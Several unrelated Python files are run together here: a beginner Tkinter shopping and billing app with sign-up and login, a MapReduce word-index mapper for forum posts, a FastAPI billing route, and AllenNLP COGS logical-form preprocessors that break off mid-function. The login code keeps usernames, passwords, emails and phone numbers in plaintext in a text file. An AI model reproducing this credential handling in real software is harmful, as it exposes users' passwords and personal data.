from tkinter import *
from tkinter import messagebox
from tkinter.ttk import Combobox
import datetime
def cromad():
    root1=Toplevel()
    def c0():
        bill=Frame(root1,width=400,height=330)
        bill.place(x=590,y=50)
        billm=Label(bill,text='Bill',font='Aerial 20')
        billm.place(x=180,y=0)
        dt='Date Time  '+str(datetime.datetime.now())
        dt1=Label(bill,text=dt,font='Aerial 15')
        dt1.place(x=0,y=40)
        if i1.get()==1:
            e1=entry1.get()
            r1=10000*(int(e1))
            bill1=Label(bill,text='Google Home            '+'Rs.'+str(r1),font='Aerial 12')
            bill1.place(x=0,y=70)
        else :
            r1=0
        if i2.get()==1:
            e2=entry2.get()
            r2=5000*(int(e2))
            bill2=Label(bill,text='Boat rockerz 1100    '+'Rs.'+str(r2),font='Aerial 12')
            bill2.place(x=0,y=90)
        else :
            r2=0
        if i3.get()==1:
            e3=entry3.get()
            r3=14000*(int(e3))
            bill3=Label(bill,text='Lenovo Zuk z2+       '+'Rs.'+str(r3),font='Aerial 12')
            bill3.place(x=0,y=110)
        else :
            r3=0
        if i4.get()==1:
            e4=entry4.get()
            r4=100500*int(e4)
            bill4=Label(bill,text='iphone 11                  '+'Rs.'+str(r4),font='Aerial 12')
            bill4.place(x=0,y=130)
        else :
            r4=0
        if i5.get()==1:
            e5=entry5.get()
            r5=18000*int(e5)
            bill5=Label(bill,text='vivo v11 pro              '+'Rs.'+str(r5),font='Aerial 12')
            bill5.place(x=0,y=150)
        else :
            r5=0
        total=Label(bill,text='Total                              '+'Rs.'+str(r1+r2+r3+r4+r5),font='Aerial 12')
        total.place(x=0,y=190)
        thank=Label(bill,text='Thank You. Your order will be'+'\n'+'delivered within 4-5 working days.',font='Aerial 15')
        thank.place(x=50,y=210)
        quit1=Button(root1,text='Exit',command=root1.destroy,font='Times 12')
        quit1.place(x=770,y=390)
    def checkcroma1():
        txt=StringVar()
        global entry1
        q1=Label(root1,text='quantity',bg='light blue',font='miriam 15',fg='red')
        q1.place(x=350,y=50)
        entry1=Entry(root1)
        entry1.place(x=420,y=55)
    def checkcroma2():
        global entry2
        txt=StringVar()
        q2=Label(root1,text='quantity',bg='light blue',font='miriam 15',fg='red')
        q2.place(x=350,y=80)
        entry2=Entry(root1)
        entry2.place(x=420,y=85)
    def checkcroma3():
        global entry3
        txt=StringVar()
        q3=Label(root1,text='quantity',bg='light blue',font='miriam 15',fg='red')
        q3.place(x=350,y=110)
        entry3=Entry(root1)
        entry3.place(x=420,y=115)
    def checkcroma4():
        global entry4
        txt=StringVar()
        q4=Label(root1,text='quantity',bg='light blue',font='miriam 15',fg='red')
        q4.place(x=350,y=140)
        entry4=Entry(root1)
        entry4.place(x=420,y=145)
    def checkcroma5():
        global entry5
        txt=StringVar()
        q5=Label(root1,text='quantity',bg='light blue',font='miriam 15',fg='red')
        q5.place(x=350,y=170)
        entry5=Entry(root1)
        entry5.place(x=420,y=175)
    root1.configure(bg='light blue')
    root1.geometry('900x600+150+150')
    root1.title('Croma')
    cm=Label(root1,text='Welcome To Croma',font='Aerial 30',bg='light blue')
    cm.pack()
    i1=IntVar(root1)
    c1=Checkbutton(root1,text='Google Home            Rs.10000',font='courier 12',bg='light blue',fg='blue',command=checkcroma1,variable=i1)
    c1.place(x=0,y=50)
    i2=IntVar(root1)
    c2=Checkbutton(root1,text='Boat rockerz 1100      Rs.5000',font='courier 12',bg='light blue',fg='blue',command=checkcroma2,variable=i2)
    c2.place(x=0,y=80)
    i3=IntVar(root1)
    c3=Checkbutton(root1,text='Lenovo Zuk z2+         Rs.14000',font='courier 12',bg='light blue',fg='blue',command=checkcroma3,variable=i3)
    c3.place(x=0,y=110)
    i4=IntVar(root1)
    c4=Checkbutton(root1,text='iphone 11              Rs.100500',font='courier 12',bg='light blue',fg='blue',command=checkcroma4,variable=i4)
    c4.place(x=0,y=140)
    i5=IntVar(root1)
    c5=Checkbutton(root1,text='vivo v11 pro           Rs.18000',font='courier 12',bg='light blue',fg='blue',command=checkcroma5,variable=i5)
    c5.place(x=0,y=170)
    lastb=Button(root1,text='Next',font='courier',fg='blue',command=c0)
    lastb.place(x=100,y=200)
    disc=Canvas(root1,width=225,height=225,bg='light blue')
    disc.place(x=30,y=250)
    disc1=PhotoImage(file='./disc.png')
    disc.create_image(0,0,image=disc1,anchor=NW)
    root1.mainloop()
def wranglerd():
    root2=Toplevel()
    def billw1():
        billw=Canvas(root2,width=400,height=350)
        billw.place(x=400,y=60)
        billl=Label(billw,text='WRANGLER',font='Aerial 20')
        billl.place(x=135,y=5)
        titlew=Label(billw,text='Product - Rate - Qty - Price',font='Aerial 15')
        titlew.place(x=5,y=40)
        l1=l.curselection()
        s=70
        for i in l1:
            product=Label(billw,text=l.get(i),font='Aerial 12')
            product.place(x=5,y=s)
            s+=20
        l2=[]
        for i in l1:
            l2.append(i)
        for i in l2:
            if l2.index(i)==0:
                x1=225
                y1=70
            if l2.index(i)==1:
                x1=225
                y1=90
            if l2.index(i)==2:
                x1=225
                y1=110
            if l2.index(i)==3:
                x1=225
                y1=130
            if l2.index(i)==4:
                x1=225
                y1=150
            if i==0:
                qty1=Entry(billw,width=6)
                qty1.place(x=x1,y=y1)
            if i==1:
                qty2=Entry(billw,width=6)
                qty2.place(x=x1,y=y1)
            if i==2:
                qty3=Entry(billw,width=6)
                qty3.place(x=x1,y=y1)
            if i==3:
                qty4=Entry(billw,width=6)
                qty4.place(x=x1,y=y1)
            if i==4:
                qty5=Entry(billw,width=6)
                qty5.place(x=x1,y=y1)

        def billw2():
            for i in l2:
                if l2.index(i)==0:
                    x1=255
                    y1=70
                if l2.index(i)==1:
                    x1=255
                    y1=90
                if l2.index(i)==2:
                    x1=255
                    y1=110
                if l2.index(i)==3:
                    x1=255
                    y1=130
                if l2.index(i)==4:
                    x1=255
                    y1=150
                if i==0:
                    price1=2500*int(qty1.get())
                    p1=Label(billw,text='RS.'+str(price1))
                    p1.place(x=x1,y=y1)
                if i==1:
                    price2=3000*int(qty2.get())
                    p2=Label(billw,text='RS.'+str(price2))
                    p2.place(x=x1,y=y1)
                if i==2:
                    price3=3500*int(qty3.get())
                    p3=Label(billw,text='RS.'+str(price3))
                    p3.place(x=x1,y=y1)
                if i==3:
                    price4=2000*int(qty4.get())
                    p4=Label(billw,text='RS.'+str(price4))
                    p4.place(x=x1,y=y1)
                if i==4:
                    price5=2000*int(qty5.get())
                    p5=Label(billw,text='RS.'+str(price5))
                    p5.place(x=x1,y=y1)
            total=0
            for i in l2:
                if i==0:
                    price1=2500*int(qty1.get())
                    total+=price1
                else :
                    price1=0
                    total+=price1
                if i==1:
                    price2=3000*int(qty2.get())
                    total+=price2
                else :
                    price2=0
                    total+=price2
                if i==2:
                    price3=3500*int(qty3.get())
                    total+=price3
                else :
                    price3=0
                    total+=price3
                if i==3:
                    price4=2000*int(qty4.get())
                    total+=price4
                else :
                    price4=0
                    total+=price4
                if i==4:
                    price5=2000*int(qty5.get())
                    total+=price5
                else :
                    price5=0
                    total+=price5
            totalw=Label(billw,text='Total'+'\t'+'RS.'+str(total),font='Aerial 12')
            totalw.place(x=20,y=180)
            thank=Label(billw,text='Thank you. Your order will be'+'\n'+'delivered within 2-3 working days.',font='Aerial 15')
            thank.place(x=50,y=200)
        billn=Button(billw,text='continue',command=billw2)
        billn.place(x=20,y=270)
        quit2=Button(billw,text='Exit',font='Times 12',command=root2.destroy)
        quit2.place(x=350,y=270)
    root2.configure(bg='pink')
    root2.geometry('900x600+150+150')
    root2.title('Wrangler')
    wm=Label(root2,text='Welcome To Wrangler',font='century 30',bg='pink')
    l=Listbox(root2,width=30,height=7,font='courier 12',selectmode='multiple')
    l.place(x=40,y=60)
    l.insert(0,'Wrangler Tshirt - RS.2500')
    l.insert(1,'Wrangler Formals - RS.3000')
    l.insert(2,'Wrangler Jeans - RS.3500')
    l.insert(3,'Formal pant - RS.2000')
    l.insert(4,'Tracksuit - RS.2000')
    wm.pack()
    bw=Button(root2,text='Next',font='courier',fg='blue',command=billw1)
    bw.place(x=140,y=200)
    root2.mainloop()
def mc():
    def billt():
        billw=Canvas(mcw,width=400,height=350)
        billw.place(x=460,y=120)
        billl=Label(billw,text="McDonald's",font='Aerial 20')
        billl.place(x=135,y=5)
        titlew=Label(billw,text='Product - Rate - Qty - Price',font='Aerial 15')
        titlew.place(x=5,y=40)
        l1=lb.curselection()
        s=70
        for i in l1:
            product=Label(billw,text=lb.get(i),font='Aerial 12')
            product.place(x=5,y=s)
            s+=20
        l2=[]
        for i in l1:
            l2.append(i)
        for i in l2:
            if l2.index(i)==0:
                x1=225
                y1=70
            if l2.index(i)==1:
                x1=225
                y1=90
            if l2.index(i)==2:
                x1=225
                y1=110
            if l2.index(i)==3:
                x1=225
                y1=130
            if l2.index(i)==4:
                x1=225
                y1=150
            if l2.index(i)==5:
                x1=225
                y1=170
            if i==0:
                qty1=Entry(billw,width=6)
                qty1.place(x=x1,y=y1)
            if i==1:
                qty2=Entry(billw,width=6)
                qty2.place(x=x1,y=y1)
            if i==2:
                qty3=Entry(billw,width=6)
                qty3.place(x=x1,y=y1)
            if i==3:
                qty4=Entry(billw,width=6)
                qty4.place(x=x1,y=y1)
            if i==4:
                qty5=Entry(billw,width=6)
                qty5.place(x=x1,y=y1)
            if i==5:
                qty6=Entry(billw,width=6)
                qty6.place(x=x1,y=y1)
        def billw2():
            for i in l2:
                if l2.index(i)==0:
                    x1=255
                    y1=70
                if l2.index(i)==1:
                    x1=255
                    y1=90
                if l2.index(i)==2:
                    x1=255
                    y1=110
                if l2.index(i)==3:
                    x1=255
                    y1=130
                if l2.index(i)==4:
                    x1=255
                    y1=150
                if l2.index(i)==5:
                    x1=255
                    y1=170
                if i==0:
                    price1=289*int(qty1.get())
                    p1=Label(billw,text='RS.'+str(price1))
                    p1.place(x=x1,y=y1)
                if i==1:
                    price2=308*int(qty2.get())
                    p2=Label(billw,text='RS.'+str(price2))
                    p2.place(x=x1,y=y1)
                if i==2:
                    price3=148*int(qty3.get())
                    p3=Label(billw,text='RS.'+str(price3))
                    p3.place(x=x1,y=y1)
                if i==3:
                    price4=185*int(qty4.get())
                    p4=Label(billw,text='RS.'+str(price4))
                    p4.place(x=x1,y=y1)
                if i==4:
                    price5=97*int(qty5.get())
                    p5=Label(billw,text='RS.'+str(price5))
                    p5.place(x=x1,y=y1)
                if i==5:
                    price6=197*int(qty6.get())
                    p6=Label(billw,text='RS.'+str(price6))
                    p6.place(x=x1,y=y1)
            total=0
            for i in l2:
                if i==0:
                    price1=289*int(qty1.get())
                    total+=price1
                else :
                    price1=0
                    total+=price1
                if i==1:
                    price2=308*int(qty2.get())
                    total+=price2
                else :
                    price2=0
                    total+=price2
                if i==2:
                    price3=148*int(qty3.get())
                    total+=price3
                else :
                    price3=0
                    total+=price3
                if i==3:
                    price4=185*int(qty4.get())
                    total+=price4
                else :
                    price4=0
                    total+=price4
                if i==4:
                    price5=97*int(qty5.get())
                    total+=price5
                else :
                    price5=0
                    total+=price5
                if i==5:
                    price6=197*int(qty6.get())
                    total+=price6
                else :
                    price6=0
                    total+=price6
            totalw=Label(billw,text='Total'+'\t'+'RS.'+str(total),font='Aerial 12')
            totalw.place(x=20,y=210)
            thank=Label(billw,text='Thank you. Your order will'+'\n'+'be delivered within 1hour!!',font='Aerial 15')
            thank.place(x=50,y=230)
        billn=Button(billw,text='continue',command=billw2)
        billn.place(x=20,y=300)
        quit2=Button(billw,text='Exit',font='Times 12',command=mcw.destroy)
        quit2.place(x=350,y=300)
    mcw=Toplevel()
    mcw.configure(bg='gold2')
    mcw.geometry('900x600+150+150')
    mcw.title("McDonald's")
    mct=Label(mcw,text="Welcome To McDonald's",font='century 30',bg='gold2')
    mct.pack()
    menu=Label(mcw,text='Menu',font='Calibiri 30',bg='gold2')
    menu.place(x=60,y=60)
    lb=Listbox(mcw,width=35,height=4,font='Calibiri 14',selectmode='multiple')
    lb.insert(0,'Big spicy wrap- Rs.289')
    lb.insert(1,'Maharaja Mac- Rs.308')
    lb.insert(2,'McAloo tikki- Rs.148')
    lb.insert(3,'Piri Piri + nuggets- Rs.185')
    lb.insert(4,'McFlurry Oreo- Rs.97')
    lb.insert(5,'McVeggie- Rs.197')
    lb.place(x=60,y=120)
    lw=Button(mcw,text='Next',font='courier',fg='blue',command=billt)
    lw.place(x=160,y=240)
    mcw.mainloop()
def mains(x):
    root=Toplevel()
    root.title('Desidime')
    root.configure(bg='yellow')
    root.geometry('600x900+150+10')
    welcome=Label(root,text='Welcome',font='century 50',bg='yellow')
    welcome.place(x=540,y=5)
    canvas=Canvas(root,width=600,height=230,bg='violet')
    canvas.place(x=30,y=100)
    f1=Label(canvas,text='Electronics',font='century 25',bg='orange',relief='solid')
    f1.place(x=230,y=5)
    croma=PhotoImage(file='./croma.png')
    canvas.create_image(200,60,image=croma,anchor=NW)
    croma1=Button(canvas,text='Tap to enter',font='comic 15',fg='red',command=cromad)
    croma1.place(x=240,y=180)
    canvas2=Canvas(root,width=600,height=230,bg='light green')
    canvas2.place(x=700,y=100)
    f2=Label(canvas2,text='Clothing',font='century 25',bg='orange',relief='solid')
    f2.place(x=240,y=5)
    wrangler=PhotoImage(file='./wrangler.png')
    canvas2.create_image(200,60,image=wrangler,anchor=NW)
    wrangler1=Button(canvas2,text='Tap to enter',font='comic 15',fg='red',command=wranglerd)
    wrangler1.place(x=240,y=155)
    canvas3=Canvas(root,width=600,height=280,bg='dodgerblue2')
    canvas3.place(x=350,y=350)
    f3=Label(canvas3,text='Food delivery',font='century 25',bg='orange',relief='solid')
    f3.place(x=200,y=5)
    mcd=PhotoImage(file='./mcd.png')
    canvas3.create_image(200,60,image=mcd,anchor=NW)
    mcd1=Button(canvas3,text='Tap to enter',font='comic 15',fg='red',command=mc)
    mcd1.place(x=240,y=230)
    nm=Label(root,text=x,font='century 50',bg='yellow')
    nm.place(x=840,y=5)
    root.mainloop()
def login():
    def login1():
        f=open('profile.txt','r')
        u=usn1.get()
        p=pas1.get()
        a=f.readlines()
        for i in range(0,len(a),4):
            if u==a[i][:-1]:
                if p==a[i+1][:-1]:
                    mains(u)
                    Label(log,bg='seagreen2').place(height=35,width=2000,x=75,y=400)
                else :
                    err=Label(log,text='Password does not match',font='Georgio 14',fg='red',bg='seagreen2')
                    err.place(x=80,y=400)
        f.close()
    log=Toplevel()
    log.title('Login')
    log.geometry('600x600+100+20')
    log.configure(bg='seagreen2')
    lm=Label(log,text='LOGIN',font='Calibiri 24',bg='seagreen2')
    lm.place(x=260,y=50)
    usn=Label(log,text='Username : ',font='Georgia 18',bg='seagreen2')
    usn.place(x=80,y=150)
    usn1=Entry(log,font='verdana 15')
    usn1.place(height=30,width=200,x=230,y=155)
    pas=Label(log,text='Password : ',font='Georgio 18',bg='seagreen2')
    pas.place(x=80,y=220)
    pas1=Entry(log,show='*',font='verdana 15')
    pas1.place(height=30,width=200,x=230,y=225)
    lgn=Button(log,text='Login',font='Geogrio 18',bg='peach puff',command=login1)
    lgn.place(x=260,y=300)
    log.mainloop()
def signup():
    def sign1():
        f=open('profile.txt','a')
        fr=open('profile.txt','r')
        fr1=fr.readlines()
        u=uname1.get()
        p=passw1.get()
        ap=0
        for i in range(0,len(fr1),4):
            op=fr1[i]
            if op[0:-1]==u :
                Label(sup,text='Username already taken',font='Gerogio 14',fg='red',bg='lemon chiffon').place(x=52,y=390)
                ap=1
        lq=0
        for i in range(2,len(fr1),4):
            em=fr1[i]
            if em[0:-1]==str(email1.get()) :
                Label(sup,text='Email Id already registered',font='Gerogio 14',fg='red',bg='lemon chiffon').place(x=52,y=390)
                lq=1
        pq=0
        for i in range(3,len(fr1),4):
            pn=fr1[i]
            if pn[0:-1]==str(phn1.get()) :
                Label(sup,text='Phone No. already registered',font='Gerogio 14',fg='red',bg='lemon chiffon').place(x=52,y=390)
                pq=1
        if '@' in str(email1.get()):
            em=str(email1.get())
            new=Label(sup,bg='lemon chiffon')
            new.place(x=50,y=390)
        else :
            erro=Label(sup,text='Enter a valid email id         ',font='Georgio 14',fg='red',bg='lemon chiffon')
            erro.place(x=52,y=390)

        if (phn1.get()).isdigit() and len(str(phn1.get()))==10:
            pn=int(phn1.get())
            new=Label(sup,bg='lemon chiffon')
            new.place(x=50,y=390)
        else :
            err=Label(sup,text='Enter a valid phone no.',font='Georgio 14',fg='red',bg='lemon chiffon')
            err.place(x=52,y=390)
        if '@' in str(email1.get()) and (phn1.get()).isdigit() and len(str(phn1.get()))==10 and ap==0 and pq==0 and lq==0:
            f.write(u+'\n')
            f.write(p+'\n')
            f.write(em+'\n')
            f.write(str(pn)+'\n')
            suc=Label(sup,text='Succesfully Signed In',font='Geogrio 18',fg='forest green',bg='lemon chiffon')
            suc.place(x=100,y=420)
            gb=Button(sup,text='Back',command=sup.destroy,font='Georgio 16',bg='peach puff')
            gb.place(x=380,y=420)
            erase=Label(sup,text='  '*30,font='Georgio 16',fg='forest green',bg='lemon chiffon')
            erase.place(x=50,y=390)
        f.close()
    def sh1():
        Label(sup,text=str(passw1.get()),font='verdana 15',fg='white',bg='light blue').place(x=200,y=195)
    def hd1():
        Label(sup,bg='lemon chiffon').place(height=35,width=10000,x=198,y=195)
    sup=Toplevel()
    sup.title('Sign Up')
    sup.geometry('600x600+100+20')
    sup.configure(bg='lemon chiffon')
    sm=Label(sup,text='SIGN UP',font='Calibiri 24',bg='lemon chiffon')
    sm.place(x=260,y=20)
    uname=Label(sup,text='Username : ',font='Georgia 18',bg='lemon chiffon')
    uname.place(x=50,y=100)
    uname1=Entry(sup,font='verdana 15')
    uname1.place(height=30,width=200,x=200,y=105)
    passw=Label(sup,text='Password : ',font='Georgio 18',bg='lemon chiffon')
    passw.place(x=50,y=150)
    passw1=Entry(sup,show='*',font='verdana 15')
    passw1.place(height=30,width=200,x=200,y=155)
    sh=Button(sup,text='show',font='Georgio 14',fg='red',bg='lemon chiffon',command=sh1)
    sh.place(x=405,y=155)
    hd=Button(sup,text='hide',font='Georgio 14',fg='red',bg='lemon chiffon',command=hd1)
    hd.place(x=475,y=155)
    email=Label(sup,text='Email Id : ',font='Georgio 18',bg='lemon chiffon')
    email.place(x=50,y=240)
    email1=Entry(sup,font='verdana 15')
    email1.place(height=30,width=300,x=200,y=240)
    phn=Label(sup,text='Phone No : ',font='Georgio 18',bg='lemon chiffon')
    phn.place(x=50,y=290)
    phn1=Entry(sup,font='verdana 15')
    phn1.place(height=30,width=200,x=200,y=290)
    reg=Button(sup,text='Sign up',font='Geogrio 18',bg='peach puff',command=sign1)
    reg.place(x=230,y=340)
    sup.mainloop()
def rootm1():
    rootm=Toplevel()
    rootm.title('Desidime')
    rootm.configure(bg='turquoise')
    rootm.geometry('900x600+100+10')
    des=PhotoImage(file='./des.png')
    welcome=Label(rootm,text='Welcome',font='century 50',bg='turquoise',fg='MediumPurple3')
    welcome.place(x=570,y=0)
    des1=Label(rootm,image=des)
    des1.place(x=400,y=80)
    sign=Button(rootm,text='Sign Up',font='Calibiri 24',relief=SOLID,bg='dodger blue',fg='white',command=signup)
    sign.place(x=685,y=380)
    al=Label(rootm,text='Already Have a account ?',font='Calibiri 18',bg='turquoise')
    al.place(x=410,y=470)
    login1=Button(rootm,text='Login',font='Calibiri 24',relief=SOLID,bg='dodger blue',fg='white',command=login)
    login1.place(x=700,y=450)
    rootm.mainloop()
rootd=Tk()
rootd.geometry('+500+300')
def click():
    a=messagebox.askquestion('Welcome To Desidime',"Welcome to the India's biggest online store for Fashion, Electronics, Food delivery"+2*'\n'+'By using our app, you acknowledge that you have read and understand our Cookie Policy, Privacy Policy, and our Terms of Service'+'\n'+'Continue by accepting ?')
    if a=='yes':
        rootm1()
b=Button(rootd,text='open app',font='comic 12',command=click)
b.pack()
rootd.mainloop()


#!/usr/bin/python
"""
A MapReduce program that creates an index of all words that can be found in the
body of a forum post and node id they can be found in.

We do not include HTML markup in our index, nor strings that are not words (for
a somewhat loose definition of "word"), nor common words.

The MLStripper class and strip_tags method were written by Eloff
(http://stackoverflow.com/a/925630). The list of English stop words was taken
from http://norm.al/2009/04/14/list-of-english-stop-words/. The rest of the
code is my work.
"""

from __future__ import print_function
import sys
import csv
import re
from HTMLParser import HTMLParser

# I should probably use a library to get these stop words, or, at the least,
# store them externally.
STOP_WORDS = \
    ["a", "about", "above", "above", "across", "after", "afterwards", "again",
        "against", "all", "almost", "alone", "along", "already", "also",
        "although", "always", "am", "among", "amongst", "amoungst", "amount",
        "an", "and", "another", "any", "anyhow", "anyone", "anything", "anyway",
        "anywhere", "are", "around", "as", "at", "back", "be", "became",
        "because", "become", "becomes", "becoming", "been", "before",
        "beforehand", "behind", "being", "below", "beside", "besides",
        "between", "beyond", "bill", "both", "bottom", "but", "by", "call",
        "can", "cannot", "cant", "co", "con", "could", "couldnt", "cry", "de",
        "describe", "detail", "do", "done", "down", "due", "during", "each",
        "eg", "eight", "either", "eleven", "else", "elsewhere", "empty",
        "enough", "etc", "even", "ever", "every", "everyone", "everything",
        "everywhere", "except", "few", "fifteen", "fify", "fill", "find",
        "fire", "first", "five", "for", "former", "formerly", "forty", "found",
        "four", "from", "front", "full", "further", "get", "give", "go", "had",
        "has", "hasnt", "have", "he", "hence", "her", "here", "hereafter",
        "hereby", "herein", "hereupon", "hers", "herself", "him", "himself",
        "his", "how", "however", "hundred", "ie", "if", "in", "inc", "indeed",
        "interest", "into", "is", "it", "its", "itself", "keep", "last",
        "latter", "latterly", "least", "less", "ltd", "made", "many", "may",
        "me", "meanwhile", "might", "mill", "mine", "more", "moreover", "most",
        "mostly", "move", "much", "must", "my", "myself", "name", "namely",
        "neither", "never", "nevertheless", "next", "nine", "no", "nobody",
        "none", "noone", "nor", "not", "nothing", "now", "nowhere", "of", "off",
        "often", "on", "once", "one", "only", "onto", "or", "other", "others",
        "otherwise", "our", "ours", "ourselves", "out", "over", "own", "part",
        "per", "perhaps", "please", "put", "rather", "re", "same", "see",
        "seem", "seemed", "seeming", "seems", "serious", "several", "she",
        "should", "show", "side", "since", "sincere", "six", "sixty", "so",
        "some", "somehow", "someone", "something", "sometime", "sometimes",
        "somewhere", "still", "such", "system", "take", "ten", "than", "that",
        "the", "their", "them", "themselves", "then", "thence", "there",
        "thereafter", "thereby", "therefore", "therein", "thereupon", "these",
        "they", "thickv", "thin", "third", "this", "those", "though", "three",
        "through", "throughout", "thru", "thus", "to", "together", "too", "top",
        "toward", "towards", "twelve", "twenty", "two", "un", "under", "until",
        "up", "upon", "us", "very", "via", "was", "we", "well", "were", "what",
        "whatever", "when", "whence", "whenever", "where", "whereafter",
        "whereas", "whereby", "wherein", "whereupon", "wherever", "whether",
        "which", "while", "whither", "who", "whoever", "whole", "whom", "whose",
        "why", "will", "with", "within", "without", "would", "yet", "you",
        "your", "yours", "yourself", "yourselves", "the"]

class MLStripper(HTMLParser):
    """ From http://stackoverflow.com/a/925630 """
    def __init__(self):
        self.reset()
        self.fed = []
    def handle_data(self, d):
        self.fed.append(d)
    def get_data(self):
        """ get data """
        return ''.join(self.fed)

def strip_tags(html):
    """ From http://stackoverflow.com/a/925630 """
    stripper = MLStripper()
    stripper.feed(html)
    return stripper.get_data()

def error(*objs):
    """ Output error message to standard error. """
    print("ERROR: ", *objs, file=sys.stderr)

def mapper():
    """ MapReducer Mapper. """
    reader = csv.reader(sys.stdin, delimiter='\t')
    writer = \
        csv.writer(
            sys.stdout, delimiter='\t', quotechar='"', quoting=csv.QUOTE_ALL)

    # Skip header.
    reader.next()
    for line in reader:
        body = line[4]
        try:
            # Get rid of HTML tags.
            # May fail for weird characters.
            body = strip_tags(body)
        except UnicodeDecodeError as ex:
            error(ex)
            continue
        node_id = line[0]
        parts = re.split(r'\s|[.!?:;"()<>[\]#$=\-/,]', body)
        # Filter out common English words.
        parts = [w for w in parts if not w.lower() in STOP_WORDS]
        for part in parts:
            try:
                # Only accept words, not gobbledygook.
                # May fail for non-ASCII characters
                if re.match(r"^\w+$", part):
                    writer.writerow([part.lower(), 1, node_id])
            except UnicodeDecodeError as ex:
                error(ex)

if __name__ == "__main__":
    mapper()


from fastapi import APIRouter

from service.billing_service import BillingService

billing_router = APIRouter(
    prefix="/billing",
    tags=["Billing APIs"],
    responses={404: {"description": "Not found"}},
)

@billing_router.post("")
async def add_billing(billing: dict):
    billing_service = BillingService()
    return await billing_service.add_billing(billing)


from typing import List

from allennlp.common import Registrable

class Preprocessor(Registrable):

    def preprocess(self, row: List[str]) -> List[str]:
        raise NotImplementedError()

    def postprocess(self, logical_form: List[str]) -> List[str]:
        raise NotImplementedError()

@Preprocessor.register("identity")
class IdentityPreprocessor(Preprocessor):

    def preprocess(self, row: List[str]) -> List[str]:
        return row

@Preprocessor.register("cogs")
class COGSPreprocessor(Preprocessor):
    useless_tokens = {".", ",", "_", "(", ")", "x"} # these tokens don't add anything semantically and could be reconstructed based on simple rules.

    def preprocess(self, row: List[str]) -> List[str]:

        nl, lf, category = row

        nl = nl.strip(".").strip() # important: remove ., so the model is not forced to copy . in the outputs!

        lf = lf.split(" ")

        lf = " ".join([x for x in lf if x not in self.useless_tokens]) # we are going to split again later!

        return [nl, lf, category]

def is_number(s:str):
    try:
        int(s)
        return True
    except ValueError:
        return False

@Preprocessor.register("simplified_cogs")
class COGSPreprocessor(Preprocessor):
    useless_tokens = {",", "_", "(", ")", "x"} # these tokens don't add anything semantically and could be reconstructed based on simple rules.

    def preprocess(self, row: List[str]) -> List[str]:

        nl, lf, category = row

        lf = lf.split(" ")

        copy_lf = []
        next_add_period = False
        for tok in lf:
            if tok == ".": # keep information but don't keep . as separate token as it might need to be copied otherwise.
                next_add_period = True
            elif tok in self.useless_tokens:
                pass
            elif is_number(tok): #removes variables --> information loss but for now it's fine.
                pass
            else:
                if next_add_period:
                    copy_lf.append("."+tok)
                else:
                    copy_lf.append(tok)
                next_add_period = False
        return [nl, " ".join(copy_lf), category]

@Preprocessor.register("aggressive_cogs")
class COGSSimplifiedAggressive(Preprocessor):
    """
    Aggressively prunes out tokens without a function.
    Simplification: removes variables!
    """
    useless_tokens = {",", "_", "(", ")", "x", ".", ";", "AND"}
    lambda_vars = {"a", "b", "e"}
    # the symbols a,b,e are variables in LAMBDA contexts.
    # we will first delete all occurrences of "." and then re-introduce them, since that's easier than selectively deleting them
    # (thanks to LAMBDA :/)
    lftok = {"agent", "theme", "recipient", "ccomp", "xcomp", "nmod", "in", "on", "beside"}

    def __init__(self, simplify: bool):
        self.simplify = simplify

    def preprocess(self, row: List[str]) -> List[str]:
        nl, lf, category = row

        lf = lf.split(" ")

        copy_lf = [tok for tok in lf if tok not in self.useless_tokens and not (self.simplify and (is_number(tok) or tok in self.lambda_vars))]
        copy_lf = [tok if not tok in self.lftok else "." + tok for tok in copy_lf]

        return [nl, " ".join(copy_lf), category]

    def _is_argument(self, str):
        return (is_number(str) or str in {"a", "b", "e"}) and str not in {"AND", ";", "*", "LAMBDA"} and str[0] != "."

    def postprocess(self, logical_form: List[str]) -> List[str]:
        """
        Reconstructs the original COGS logical form.
        :param logical_form:
        :return:
        """
        if self.simplify:
            raise ValueError("Cannot reconstruct original COGS logical form if variables are gone.")
        # Reinsert ;
        # pattern * [predicate] number --> * [predicate] number ;
        l = []
        for i in range(len(logical_form)):
            l.append(logical_form[i])
            if i >= 2 and is_number(logical_form[i]) and logical_form[i-2] == "*":
                l.append(";")

        logical_form = l
        l = []

        # insert AND
        for i in range(len(logical_form)):
            if not is_number(logical_form[i]) and logical_form[i] not in {".agent", ".theme", ".recipient", ".ccomp", ".xcomp", ";", "*", "a","b", "e", "."} \
                    and i > 0 and logical_form[i-1] not in {";", "*", "LAMBDA", "."} and logical_form[i][0].upper() != logical_form[i][0]:
                if i > 1 and logical_form[i-2] == "LAMBDA":
                    pass
                else:
                    l.append("AND")
            l.append(logical_form[i])

        logical_form = l
        l = []
        # Re-insert x _ and brackets
        i = 0
        while i < len(logical_form):
            if i < len(logical_form)-1 and self._is_argument(logical_form[i]) and self._is_argument(logical_form[i+1]):
                # give .agent 3 4 OR give .agent e a
                if logical_form[i] in {"a", "e", "b"}:
                    l.extend(["(", logical_form[i]])
                else:
                    l.extend(["(", "x", "_", logical_form[i]])

                if logical_form[i+1] in {"a", "e", "b"}:
                    l.extend([",", logical_form[i+1], ")"])
                else:
                    l.extend([",", "x", "_", logical_form[i+1], ")"])
                i += 1
            elif i < len(logical_form)-1 and self._is_argument(logical_form[i]) and logical_form[i+1][0].upper() == logical_form[i+1][0] \
                    and logical_form[i+1] not in {"AND", ";", "*", "LAMBDA"}:
            # give .agent 3 Emma
                l.extend(["(", "x", "_", logical_form[i], ",", logical_form[i+1], ")"])
                i += 1

            elif self._is_argument(logical_form[i]):
                if is_number(logical_form[i]):
                    l.extend(["(", "x", "_", logical_form[i], ")"])
                else:
                    l.extend(["(", logical_form[i], ")"])

            # Reinsert . after LAMBDA
            elif logical_form[i] == "LAMBDA" and i < len(logical_form)-1:
                l.extend(["LAMBDA", logical_form[i+1], "."])
                i += 1
            else:
                l.append(logical_form[i])

            i += 1

        # Expand .agent to . agent etc.
        logical_form = l
        l = []
        for i in range(len(logical_form)):
            if logical_form[i] in {".agent", ".theme", ".recipient", ".xcomp", ".ccomp", ".nmod", ".on", ".in", ".beside"}:
                l.extend([".", logical_form[i][1:]])
            else:
                l.append(logical_form[i])

        return l

@Preprocessor.register("cogs_google")
class COGSGooglePreprocessor(Preprocessor):
    useless_tokens = {",", "="} # these tokens don't add anything semantically and could be reconstructed based on simple rules.

    def preprocess(self, row: List[str]) -> List[str]:

        nl, lf, category = row

        nl = nl.strip(".").strip() # important: remove ., so the model is not forced to copy . in the outputs!

        lf = lf.split(" ")
        out_lf = []

        for i, tok in enumerate(lf):
            if tok in self.useless_tokens:
                pass
            elif tok == ".":
